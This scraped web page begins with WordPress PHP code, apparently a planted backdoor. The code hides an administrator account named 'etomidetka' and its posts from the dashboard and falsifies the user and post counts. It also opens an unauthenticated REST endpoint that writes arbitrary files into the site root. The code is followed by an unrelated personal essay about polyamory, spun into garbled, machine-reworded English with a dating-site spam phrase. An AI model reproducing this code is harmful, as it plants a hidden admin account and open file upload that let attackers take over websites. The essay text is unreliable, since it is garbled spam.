//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Though I was distressed, I was not surprised of the my friend’s message. The signs for it were there, also about first-time I came across him two years before. I attempted an enchanting partnership then, having a hot date that is first filled up with engaging conversation. His mellow-spoken attitude and wide smile was in fact pleasant, and i enjoyed linking with an individual who was also non-monogamous. But when he chatted about his a lot of time-length lover and i also chatted about my two local couples, I came across that our various other ways for the umbrella out-of moral non-monogamy had been in conflict.
My personal polyamory oriented fully fledged relationships with several people in the exact same day. I could expose all my personal partners to my mommy, embark on travel with any of them, blog post about them back at my social network otherwise features sleepovers. His discover matchmaking, on the other hand, greet just for quick-label intimate and you can romantic connectivity you to definitely ended of course, if his priy is actually written similar, I realized.
Things don’t work out anywhere between you following, however, we stayed in touch typically. We’d a friendly dining most of the few months, delivered a book here otherwise around to check into the. The guy respected my boldness given that a black colored polyamorous lady, commonly remarking how he wished for an equivalent independence to build concurrent romantic matchmaking. We appreciated our very own shared audio choices and you will liked of course he sent myself condition with the his artistic plans otherwise his travel. In a nutshell, i compensated on an informal friendship out of white flirtation and you will platonic care and attention.
As he questioned yet again, I got doubts. But 2 yrs had introduced. Within this that time, their long-distance companion went back once again to the area. They certainly were in addition to defining themselves because polyamorous, a range from the form of ethical non-monogamy the guy explained when i basic found him. In the place of seeking to everyday flings close to an initial dating, while they did within their “open matchmaking,” they certainly were today amusing stepping into strong close partnerships similar to her.
Did the discussions in the my personal polyamory sway him? Whenever i told your over the years, the public visibility off both of my partnerships is main so you can my personal stability and my personal politics. Having suffered before the newest indignity of being a “secondary” mate, We refused to replicate a difficult ladder using my very own lovers. Dictating which ones had almost worthy of in my opinion felt like a paradox on my says regarding enjoying them both.
The fresh shagle dating site flirtation intensified via texts and you will memes until i ultimately fulfilled myself because the fresh new couples unlike once the family unit members.
Having suffered in past times brand new indignity of being a good ‘secondary’ mate, I would not replicate a difficult hierarchy using my very own partners.
“You happen to be such as for example my personal poly idol; your reveal that it’s possible to have several enough time-identity partnerships. Needs one having me 1 day,” he explained to me on all of our second-first day.
We smiled at his fit while we sipped brand new whiskey I brought to their lay. The heat radiating of our anatomies pulsed inside the anticipation regarding responding a two-year concern on making. The next few hours were a mixture of laughter, welfare and extravagance. I always preferred our easy yet biting banter. Just like the partners, one banter offered treatment for an alternative closeness. The response to issue folks appeared to be: possible. What might occurs second? Carry out indeed there end up being an “us”? As we kissed goodbye we made a propose to cook dinner together with her inside my put the adopting the day.